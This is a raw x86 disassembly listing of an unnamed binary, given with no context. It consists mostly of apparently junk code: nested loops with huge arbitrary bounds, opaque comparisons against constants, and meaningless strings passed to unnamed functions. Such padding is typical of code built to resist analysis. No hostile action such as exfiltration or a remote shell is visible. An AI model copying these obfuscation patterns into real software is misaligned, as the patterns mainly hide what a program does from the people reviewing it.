mov dword [ebp - 0x1bc0], eax
jmp 0x454c52
mov eax, dword [ebp - 0xf84]
inc eax
mov dword [ebp - 0xf84], eax
jmp 0x454aca
lea ecx, [ebp - 0x2268]
call fcn.0042fc11
mov byte [ebp - 0x1b8], 0
mov dword [ebp - 0x20bc], 0xa5d6c05b
mov dword [ebp - 0x20b8], 0xa5d6c05b
mov dword [ebp - 0x20b4], 0xa5d6c05b
mov dword [ebp - 0x20b0], 0xa5d6c05b
mov dword [ebp - 0x5a0], 7
mov dword [ebp - 0x1414], 0x188e17b8
mov dword [ebp - 0x1bd0], 5
mov dword [ebp - 0x1bd8], 0x66d2
mov dword [ebp - 0xa64], 0x15b3
mov dword [ebp - 0x1bc8], str.wubqy_cdz_seiktnt_bvpro_fanlur_bfbejx_kxrayh
cmp dword [ebp - 0xa64], 0x1938
jle 0x454e48
and dword [ebp - 0x328], 0
jmp 0x454dc6
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x685
jge 0x454e48
and dword [ebp - 0x6d4], 0
jmp 0x454de8
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0x3086
jge 0x454e43
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x6d4]
sar eax, cl
cdq
mov dword [ebp - 0x17a4], eax
mov dword [ebp - 0x17a0], edx
push dword [ebp - 0x17a0]
push dword [ebp - 0x17a4]
lea ecx, [ebp - 0x2764]
call fcn.004018f3
pop ecx
pop ecx
mov ecx, eax
call fcn.0042fa1f
push eax
call fcn.00498447
pop ecx
lea ecx, [ebp - 0x2764]
call fcn.0042fa15
jmp 0x454ddb
jmp 0x454db9
mov dword [ebp - 4], 8
cmp dword [ebp - 0xa64], 0x1467
jge 0x454e67
push dword [ebp - 0x1bc8]
call fcn.00498447
pop ecx
jmp 0x454e83
or dword [ebp - 4], 0xffffffff
jmp 0x454e8d
mov dword [ebp - 0x330], 0
jmp 0x454ea6
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 2
jge 0x454ec2
mov eax, dword [ebp - 0x330]
mov dword [ebp + eax*4 - 0x13ec], 0x8da8e97e
jmp 0x454e99
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x13ec], 0
jmp 0x454ef0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13ec]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x13ec], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13ec], 3
jg 0x454f41
mov dword [ebp - 0x274], 0xfffffff8
mov dword [ebp - 0x274], 0
jmp 0x454f23
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 4
jge 0x454f3f
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0x20bc], 0
jmp 0x454f16
jmp 0x454ed5
mov dword [ebp - 0x5a0], 0
jmp 0x454f5a
mov eax, dword [ebp - 0x5a0]
dec eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0xfffffffa
jg 0x454fb9
mov dword [ebp - 0x1be0], 0xfffffffd
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1414]
mov dword [ebp + eax - 0x13ec], ecx
push 0
push 0x11f9
lea eax, [ebp - 0x1414]
push eax
lea eax, [ebp - 0x1bd0]
push eax
push 1
push 0x1692
push 0x4a1e
lea eax, [ebp - 0x1bd8]
push eax
lea eax, [ebp - 0x1be0]
push eax
call fcn.0044f7c5
add esp, 0x24
jmp 0x454f4d
push 0x49d6
push 0
push 0x1974
push 0
lea eax, [ebp - 0x1b8]
push eax
push 0x836
push 0x3382
call fcn.0044db91
add esp, 0x1c
lea ecx, [ebp - 0x1c20]
call fcn.0042fc11
push 1
lea ecx, [ebp - 0x203c]
call fcn.0042fb3f
mov dword [ebp - 0x74], 0x18885c6f
mov dword [ebp - 0xa74], 0x7a98815c
mov dword [ebp - 0xa6c], 0xfffffffd
mov dword [ebp - 0x1b4], 0xca968364
mov dword [ebp - 0x1be8], 0x51938d10
mov dword [ebp - 0x2468], 1
mov dword [ebp - 0x338], 0
jmp 0x45504a
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 1
jge 0x45506c
push dword [ebp - 0x338]
lea ecx, [ebp - 0x203c]
call fcn.0042fc2d
mov dword [eax], 0x198a8f93
jmp 0x45503d
mov dword [ebp - 0x74], 0
jmp 0x45507c
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x4550a5
mov byte [ebp - 0x145], 0
lea eax, [ebp - 0x145]
push eax
push 1
push 0
push 0x28a3
push 0
call fcn.0044ba1c
add esp, 0x14
jmp 0x455075
push 0
lea ecx, [ebp - 0x203c]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x4550e2
mov dword [ebp - 0xa6c], 0x456e
mov eax, dword [ebp - 0xa6c]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
je 0x4550e2
mov dword [ebp - 0xf8c], 1
jmp 0x4550e9
and dword [ebp - 0xf8c], 0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0xf8c]
add eax, dword [ebp - 0x74]
cmp eax, 1
jle 0x455106
mov dword [ebp - 0x121c], 1
jmp 0x45510d
and dword [ebp - 0x121c], 0
mov dword [ebp - 0xa74], 1
mov eax, dword [ebp - 0xa74]
cmp eax, dword [ebp - 0x121c]
je 0x455131
mov dword [ebp - 0xa7c], 1
jmp 0x455138
and dword [ebp - 0xa7c], 0
cmp dword [ebp - 0xa7c], 0xffffffff
jne 0x45514d
mov dword [ebp - 0xf94], 1
jmp 0x455154
and dword [ebp - 0xf94], 0
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x455518
mov dword [ebp - 0x350], 0xfffffffe
mov dword [ebp - 0x8b4], 0x2a907865
mov dword [ebp - 0x93c], 0xfffffffe
mov dword [ebp - 0x1b4], 0
jmp 0x45519e
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 3
jg 0x455516
mov dword [ebp - 0x984], 0xfffffffe
mov dword [ebp - 0x20cc], 0x9820b275
mov dword [ebp - 0x20c8], 0x9820b275
mov dword [ebp - 0x20c4], 0x9820b275
mov dword [ebp - 0x20c0], 0x9820b275
mov dword [ebp - 0x1bf8], 0x2ce6c1cc
mov dword [ebp - 0x74], 0
jmp 0x4551f7
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jl 0x455503
mov dword [ebp - 0xa9c], 0xacda2a4f
mov dword [ebp - 0x7ac], 0
jmp 0x455224
mov eax, dword [ebp - 0x7ac]
inc eax
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 3
jge 0x455240
mov eax, dword [ebp - 0x7ac]
mov dword [ebp + eax*4 - 0x1d88], 0xffffffff
jmp 0x455217
mov dword [ebp - 0xa8c], 0x1cbf
mov dword [ebp - 0x1bf0], str.ygfbusel_nua_sdqaklak_qtd_zvbwojix_gprwlmozu
cmp dword [ebp - 0xa8c], 0x1d0c
jle 0x455340
and dword [ebp - 0x340], 0
jmp 0x45527a
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x1eda
jge 0x455340
and dword [ebp - 0x5a8], 0
jmp 0x4552a0
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 0x79cb
jge 0x45533b
and dword [ebp - 0x348], 0
jmp 0x4552c6
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x6c1b
jge 0x455336
and dword [ebp - 0x6dc], 0
jmp 0x4552e8
mov eax, dword [ebp - 0x6dc]
inc eax
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 0x18f5
jge 0x455334
mov eax, dword [ebp - 0x340]
cdq
idiv dword [ebp - 0x5a8]
xor edx, dword [ebp - 0x348]
xor edx, dword [ebp - 0x6dc]
mov eax, edx
cdq
mov dword [ebp - 0x17b0], eax
mov dword [ebp - 0x17ac], edx
push dword [ebp - 0x17ac]
push dword [ebp - 0x17b0]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x4552db
jmp 0x4552b9
jmp 0x455293
jmp 0x45526d
mov dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x350]
add eax, dword [ebp - 0x984]
jne 0x45538a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1d88]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1d88]
dec ecx
push 4
pop edx
shl edx, 1
mov dword [ebp + edx - 0x1d88], ecx
test eax, eax
jne 0x45538a
and dword [ebp - 0xa84], 0
jmp 0x455394
mov dword [ebp - 0xa84], 1
mov eax, dword [ebp - 0x93c]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp - 0x8b4]
cmp dword [ebp - 0xa84], eax
jle 0x4553ba
mov dword [ebp - 0x1364], 1
jmp 0x4553c1
and dword [ebp - 0x1364], 0
mov eax, dword [ebp - 0x1364]
mov dword [ebp - 0x1be8], eax
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0xa8c], 0x1935
jge 0x4553f0
mov edx, dword [ebp - 0x1bf0]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x45540c
or dword [ebp - 4], 0xffffffff
jmp 0x455416
mov dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0x93c], eax
je 0x45543a
mov dword [ebp - 0xf9c], 1
jmp 0x455441
and dword [ebp - 0xf9c], 0
mov eax, dword [ebp - 0x984]
cmp eax, dword [ebp - 0xf9c]
jl 0x45545b
mov dword [ebp - 0xa94], 1
jmp 0x455462
and dword [ebp - 0xa94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d88]
sub eax, dword [ebp - 0x1bf8]
cmp eax, dword [ebp - 0xa94]
jg 0x455489
mov dword [ebp - 0x1224], 1
jmp 0x455490
and dword [ebp - 0x1224], 0
mov eax, dword [ebp - 0x1224]
mov dword [ebp - 0xa9c], eax
cmp dword [ebp - 0xa9c], 0
je 0x4554ac
cmp dword [ebp - 0x1b4], 0
cmp dword [ebp - 0x350], 0xb0a94fe8
jae 0x4554c4
mov dword [ebp - 0xfa4], 1
jmp 0x4554cb
and dword [ebp - 0xfa4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x20cc]
cmp dword [ebp - 0xfa4], eax
jg 0x4554eb
mov dword [ebp - 0xaa4], 1
jmp 0x4554f2
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0x8b4], eax
jmp 0x4551f0
cmp dword [ebp - 0x984], 0
je 0x455511
jmp 0x455191
jmp 0x455191
jmp 0x45555f
mov byte [ebp - 0x1ba], 0
movzx eax, byte [ebp - 0x1ba]
test eax, eax
je 0x45553b
push 0
push 0x1283
push 0
call fcn.004514ea
add esp, 0xc
mov byte [ebp - 0x14d], 0
push 0
lea eax, [ebp - 0x14d]
push eax
push 0x391c
push 1
push 0x1345
call fcn.0044c147
add esp, 0x14
lea ecx, [ebp - 0x203c]
call fcn.0042fc11
mov byte [ebp - 0x29], 0
mov dword [ebp - 0x9d8], 0x2e91a04
mov dword [ebp - 0x9d4], 0x2e91a04
mov dword [ebp - 0x9d0], 0x2e91a04
mov dword [ebp - 0x9cc], 0x2e91a04
mov dword [ebp - 0x8bc], 0
mov dword [ebp - 0x40], 4
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x9d8], 0x1d
jmp 0x4555d5
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9d8]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x9d8], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x9d8], 0xfffffffe
jle 0x45572e
mov dword [ebp - 0xfac], 0
mov dword [ebp - 0x5b0], 0
jmp 0x45560c
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 4
jge 0x455628
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x2654], 0x18d9dce
jmp 0x4555ff
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x9d8], 0
jne 0x45564a
mov eax, 0x3859
test eax, eax
jne 0x45564a
and dword [ebp - 0x1440], 0
jmp 0x455654
mov dword [ebp - 0x1440], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9d8]
sub eax, dword [ebp - 0x1440]
mov dword [ebp - 0x8bc], eax
je 0x45567b
mov dword [ebp - 0xaac], 1
jmp 0x455682
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0xfac], eax
mov eax, dword [ebp - 0xfac]
mov dword [ebp - 0x2184], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9d8]
mov dword [ebp - 0x23c8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9d8]
mov dword [ebp - 0x218c], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2500], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x9d8]
mov dword [ebp + ecx - 0x2654], eax
mov dword [ebp - 0x40], 0
jmp 0x4556f3
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x455729
mov byte [ebp - 0x1bc], 0
push 0
push 0x7a4
push 0x1a46
push 1
lea eax, [ebp - 0x1bc]
push eax
call fcn.0044dd70
add esp, 0x14
mov dword [ebp - 0x8bc], 0xb35d5697
jmp 0x4556ec
jmp 0x4555ba
mov dword [ebp - 0x40], 0
jmp 0x45573e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x12
je 0x45585f
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x136c], 0xbd1a6f32
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9d8], 0
jne 0x4557a5
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x2194], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x23d4], eax
mov eax, 0xd58
test eax, eax
je 0x45579e
cmp dword [ebp - 0x22c], 0
je 0x45579e
mov dword [ebp - 0xab4], 1
jmp 0x4557a5
and dword [ebp - 0xab4], 0
mov eax, 0x5799
cmp eax, 0x96a4
jl 0x4557bd
mov dword [ebp - 0x122c], 1
jmp 0x4557c4
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x22c]
imul eax, dword [ebp - 0x122c]
sub eax, dword [ebp - 0x22c]
jne 0x4557dd
cmp dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x219c], eax
mov eax, 0x7d594484
test eax, eax
jne 0x4557fe
cmp dword [ebp - 0x40], 0
jne 0x4557fe
and dword [ebp - 0xabc], 0
jmp 0x455808
mov dword [ebp - 0xabc], 1
mov eax, dword [ebp - 0x22c]
imul eax, dword [ebp - 0xabc]
cmp eax, dword [ebp - 0x40]
jg 0x455826
mov dword [ebp - 0xfb4], 1
jmp 0x45582d
and dword [ebp - 0xfb4], 0
mov eax, dword [ebp - 0x136c]
cmp dword [ebp - 0xfb4], eax
jl 0x455847
mov dword [ebp - 0xac4], 1
jmp 0x45584e
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0xac4]
mov dword [ebp - 0x136c], eax
jmp 0x455737
mov dword [ebp - 0x2470], 1
mov dword [ebp - 0xacc], 0x6ed3
mov dword [ebp - 0x1c00], str.dyz_ecuvetxnt_ghnyuooeh_kfp_zhqsqgk_htmuly_fej_fwva_qnvjcx
cmp dword [ebp - 0xacc], 0x71a2
jle 0x45598d
and dword [ebp - 0x358], 0
jmp 0x4558a3
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x580e
jge 0x45598d
and dword [ebp - 0x76c], 0
jmp 0x4558c9
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0x5f4d
jge 0x455988
and dword [ebp - 0x360], 0
jmp 0x4558ef
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x58fe
jge 0x455983
and dword [ebp - 0x5b8], 0
jmp 0x455915
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0x7d3
jge 0x45597e
mov eax, dword [ebp - 0x358]
mov ecx, dword [ebp - 0x76c]
shl eax, cl
mov ecx, dword [ebp - 0x360]
sub ecx, dword [ebp - 0x5b8]
or eax, ecx
cdq
mov dword [ebp - 0x17bc], eax
mov dword [ebp - 0x17b8], edx
push dword [ebp - 0x17b8]
push dword [ebp - 0x17bc]
lea ecx, [ebp - 0x28b4]
call fcn.004018f3
pop ecx
pop ecx
mov ecx, eax
call fcn.0042fa1f
push eax
call fcn.00498447
pop ecx
lea ecx, [ebp - 0x28b4]
call fcn.0042fa15
jmp 0x455908
jmp 0x4558e2
jmp 0x4558bc
jmp 0x455896
mov dword [ebp - 0x24a0], 1
mov dword [ebp - 0x249c], 1
mov dword [ebp - 0x2498], 1
mov dword [ebp - 0x2494], 1
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0xacc], 0x6e2e
jge 0x4559d4
push dword [ebp - 0x1c00]
call fcn.00498447
pop ecx
jmp 0x4559f0
or dword [ebp - 4], 0xffffffff
jmp 0x4559fa
mov dword [ebp - 0xad4], 0
mov byte [ebp - 0x155], 0
mov dword [ebp - 0xfbc], 0x3406
mov dword [ebp - 0x1cd8], str.xjuiugb_jje_rsgbcpdwz_huj_oswe_xroh_hubsl_adc
cmp dword [ebp - 0xfbc], 0x3447
jle 0x455b0d
and dword [ebp - 0x5c0], 0
jmp 0x455a45
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0x4da7
jge 0x455b0d
and dword [ebp - 0x370], 0
jmp 0x455a6b
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x26cd
jge 0x455b08
and dword [ebp - 0x368], 0
jmp 0x455a91
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xfc9
jge 0x455b03
and dword [ebp - 0x6e4], 0
jmp 0x455ab3
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0x68fb
jge 0x455b01
mov eax, dword [ebp - 0x368]
cdq
idiv dword [ebp - 0x6e4]
mov eax, dword [ebp - 0x370]
mov ecx, edx
sar eax, cl
xor eax, dword [ebp - 0x5c0]
cdq
mov dword [ebp - 0x17c8], eax
mov dword [ebp - 0x17c4], edx
push dword [ebp - 0x17c4]
push dword [ebp - 0x17c8]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x455aa6
jmp 0x455a84
jmp 0x455a5e
jmp 0x455a38
push 1
push 0
lea eax, [ebp - 0x155]
push eax
call fcn.00452cef
add esp, 0xc
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0xfbc], 0x3125
jge 0x455b43
mov edx, dword [ebp - 0x1cd8]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x455b5f
or dword [ebp - 4], 0xffffffff
jmp 0x455b69
mov eax, dword [ebp - 0xad4]
inc eax
mov dword [ebp - 0xad4], eax
push 1
lea ecx, [ebp - 0x2000]
call fcn.0042fb3f
mov dword [ebp - 0x378], 0xe91a049f
mov dword [ebp - 0x378], 0xfffffff5
jmp 0x455ba6
mov eax, dword [ebp - 0x378]
dec eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0xffffffe6
jl 0x455c37
mov dword [ebp - 0x7f4], 8
mov dword [ebp - 0x1ce0], 0x3f365653
mov dword [ebp - 0x7f4], 0x1c
jmp 0x455be0
mov eax, dword [ebp - 0x7f4]
dec eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xffffffea
je 0x455c32
mov dword [ebp - 0x380], 0
jmp 0x455c02
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 4
jge 0x455c1e
mov eax, dword [ebp - 0x380]
mov dword [ebp + eax*4 - 0x25dc], 0x509978f3
jmp 0x455bf5
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x25dc]
mov dword [ebp - 0x1ce0], eax
jmp 0x455bd3
jmp 0x455b99
mov dword [ebp - 0x6c], 0x18885c6f
mov dword [ebp - 0xbac], 0x7a98815c
mov dword [ebp - 0x5c8], 0xe91a049f
mov dword [ebp - 0x5c8], 0xfffffff5
jmp 0x455c6b
mov eax, dword [ebp - 0x5c8]
dec eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 0xffffffe6
jl 0x455cfc
mov dword [ebp - 0x388], 8
mov dword [ebp - 0x1ce8], 0x3f365653
mov dword [ebp - 0x388], 0x1c
jmp 0x455ca5
mov eax, dword [ebp - 0x388]
dec eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0xffffffea
je 0x455cf7
mov dword [ebp - 0x6ec], 0
jmp 0x455cc7
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 4
jge 0x455ce3
mov eax, dword [ebp - 0x6ec]
mov dword [ebp + eax*4 - 0x269c], 0x509978f3
jmp 0x455cba
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x269c]
mov dword [ebp - 0x1ce8], eax
jmp 0x455c98
jmp 0x455c5e
mov dword [ebp - 0xba4], 0xfffffffd
push 4
lea ecx, [ebp - 0x898]
call fcn.0042fb3f
mov dword [ebp - 0x50], 4
mov dword [ebp - 0x1234], 0x1746
mov dword [ebp - 0x1cf0], str.avuju_tzorm_vpv_heeh_inma_gdigxi_kxlweii_wtpfpl_ukxprp_txqv_fhhvn_ble
cmp dword [ebp - 0x1234], 0x1902
jle 0x455de8
and dword [ebp - 0x398], 0
jmp 0x455d54
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x53f6
jge 0x455de8
and dword [ebp - 0x390], 0
jmp 0x455d7a
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x7db7
jge 0x455de3
and dword [ebp - 0x5d0], 0
jmp 0x455d9c
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0x2d68
jge 0x455de1
mov ecx, dword [ebp - 0x390]
add ecx, dword [ebp - 0x5d0]
mov eax, dword [ebp - 0x398]
shl eax, cl
cdq
mov dword [ebp - 0x17d4], eax
mov dword [ebp - 0x17d0], edx
push dword [ebp - 0x17d0]
push dword [ebp - 0x17d4]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x455d8f
jmp 0x455d6d
jmp 0x455d47
mov dword [ebp - 0xa4], 0
jmp 0x455e01
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 4
jge 0x455e20
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
or dword [eax], 0xffffffff
jmp 0x455df4
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x1234], 0x15f9
jge 0x455e43
mov edx, dword [ebp - 0x1cf0]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x455e5f
or dword [ebp - 4], 0xffffffff
jmp 0x455e69
mov dword [ebp - 0xa4], 0
jmp 0x455e82
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jge 0x455e9e
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x1af4], 0xffffffff
jmp 0x455e75
mov dword [ebp - 0x50], 0
jmp 0x455eae
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jg 0x4560c9
mov dword [ebp - 0x123c], 1
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x455ef2
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x455eed
jmp 0x4560c9
jmp 0x4560c4
push 3
lea ecx, [ebp - 0x1da0]
call fcn.0042fb3f
lea eax, [ebp - 0x1da0]
push eax
lea eax, [ebp - 0x21a4]
push eax
call fcn.0044b537
pop ecx
pop ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
mov dword [ebp - 0xadc], eax
push 0
lea ecx, [ebp - 0x1da0]
call fcn.0042fc2d
mov ecx, dword [ebp - 0xadc]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xadc]
cmp dword [eax], 0
je 0x45609f
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
cmp dword [eax], 0
je 0x455fd7
push 1
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
mov esi, eax
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
imul eax, dword [eax], 0x7a67
sub eax, 0x5fdb93c8
mov edi, eax
imul edi, dword [esi]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
cmp edi, dword [eax]
je 0x455fac
mov dword [ebp - 0xfc4], 1
jmp 0x455fb3
and dword [ebp - 0xfc4], 0
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
mov ecx, dword [ebp - 0xfc4]
cmp ecx, dword [eax]
jg 0x455fd7
mov dword [ebp - 0xae4], 1
jmp 0x455fde
and dword [ebp - 0xae4], 0
push dword [ebp - 0x50]
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
mov ecx, dword [ebp - 0xae4]
cmp ecx, dword [eax]
jne 0x456002
mov dword [ebp - 0x1448], 1
jmp 0x456009
and dword [ebp - 0x1448], 0
mov eax, dword [ebp - 0x123c]
cmp dword [ebp - 0x1448], eax
jle 0x456023
mov dword [ebp - 0xaec], 1
jmp 0x45602a
and dword [ebp - 0xaec], 0
cmp dword [ebp - 0xaec], 0xffffffff
jae 0x45603f
mov dword [ebp - 0xfcc], 1
jmp 0x456046
and dword [ebp - 0xfcc], 0
push 2
lea ecx, [ebp - 0x898]
call fcn.0042fc2d
mov ecx, dword [ebp - 0xfcc]
cmp ecx, dword [eax]
jle 0x456069
mov dword [ebp - 0xaf4], 1
jmp 0x456070
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xaf4], eax
jge 0x456088
push 2
lea ecx, [ebp - 0x1da0]
call fcn.0042fc2d
or eax, 0xffffffff
sub eax, dword [ebp - 0x123c]
je 0x45609f
mov dword [ebp - 0xafc], 1
jmp 0x4560a6
and dword [ebp - 0xafc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xafc]
mov dword [ebp + eax - 0x1af4], ecx
lea ecx, [ebp - 0x1da0]
call fcn.0042fc11
jmp 0x455ea7
lea ecx, [ebp - 0x898]
call fcn.0042fc11
mov dword [ebp - 0x14c], 0xca968364
mov dword [ebp - 0x15e4], 0x51938d10
mov dword [ebp - 0x1de8], 0x61928c17
mov dword [ebp - 0x1de4], 0x61928c17
mov dword [ebp - 0x1de0], 0x61928c17
mov dword [ebp - 0x1ddc], 0x61928c17
mov dword [ebp - 0xfc], 0xca8fecf7
mov dword [ebp - 0x774], 0
jmp 0x456133
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 2
jge 0x45614f
mov eax, dword [ebp - 0x774]
mov dword [ebp + eax*4 - 0x86c], 0
jmp 0x456126
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x86c], 3
jmp 0x45617d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x86c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x86c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x86c], 0
jl 0x45622f
mov dword [ebp - 0x23dc], 1
mov dword [ebp - 0x1ed8], 0xedb5cabf
mov dword [ebp - 0x1ed4], 0xedb5cabf
mov dword [ebp - 0x1ed0], 0xedb5cabf
mov dword [ebp - 0x1ecc], 0xedb5cabf
lea ecx, [ebp - 0x955]
call fcn.0042fc3c
push eax
lea eax, [ebp - 0x1ec8]
push eax
lea eax, [ebp - 0x1ed8]
push eax
lea ecx, [ebp - 0x25c4]
call fcn.0042fc3f
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2540]
call fcn.0042fbeb
